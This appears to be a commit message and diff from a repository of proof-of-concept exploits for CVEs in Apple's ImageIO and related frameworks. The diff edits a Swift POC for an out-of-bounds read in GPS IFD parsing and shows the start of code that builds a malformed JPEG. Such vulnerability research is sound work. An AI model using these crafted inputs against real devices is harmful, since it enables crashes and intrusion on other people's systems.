v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112629/CVE-2026-112629.swift

@@ -1,22 +1,8 @@
 // iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
-// 原语: OOB 读 · 进程内 · tier 2
-// Primitive: OOB read · in-process · tier 2
-//
-// [zh] GPS IFD 值偏移越界
-// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时，读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength
-// / pointerToOffset / read32Unchecked，违规时抛出 OutOfBounds 异常。
-//
-// [en] GPS IFD value offset out of bounds
-// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value
-// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every
-// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws
-// OutOfBounds on violation.
-// ── 判别 / oracle ──
-// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。
-
+// GPS IFD value offset out of bounds
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
+// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
 enum JPEGPayload {
 static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
         var tiff = Data()